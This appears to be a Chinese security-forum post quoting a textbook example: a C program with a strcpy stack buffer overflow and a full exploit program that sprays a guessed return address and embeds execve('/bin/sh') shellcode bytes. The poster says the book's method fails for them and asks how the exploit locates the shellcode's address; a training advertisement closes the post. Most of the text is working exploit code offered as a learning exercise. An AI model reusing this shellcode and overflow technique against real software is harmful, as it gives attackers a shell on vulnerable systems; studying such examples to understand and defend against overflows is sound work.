第二章中的一个例子
被破解程序是
int main(int argc,char **argv)
{
char little_array[512];
if(argc>1)
strcpy(little_array,argv[1]);
}
破解程序是
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char *buff,*ptr;
long *addr_ptr,addr;
int offset=offset_size,bsize=buffer_size;
int i;
if(argc>1) bsize=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr=find_start()-offset;
printf("Attemping address:0x%x\n",addr);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
ptr+=4;
for(i=0;i<strlen(sc);i++)
*(ptr++)=sc[i];
buff[bsize-1]='\0';
memcpy(buff,"BUF=",4);
printf("5:%s\n",buff);
printf("\n%d\n",strlen(buff));
putenv(buff);
system("/bin/bash");
}
这个例子我按照书书上的方法,通过不了,我主要想知道,程序是怎么得到shellcode的地址的,望老大们讲解一哈,这是第一个破解程序,希望大家帮帮忙
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课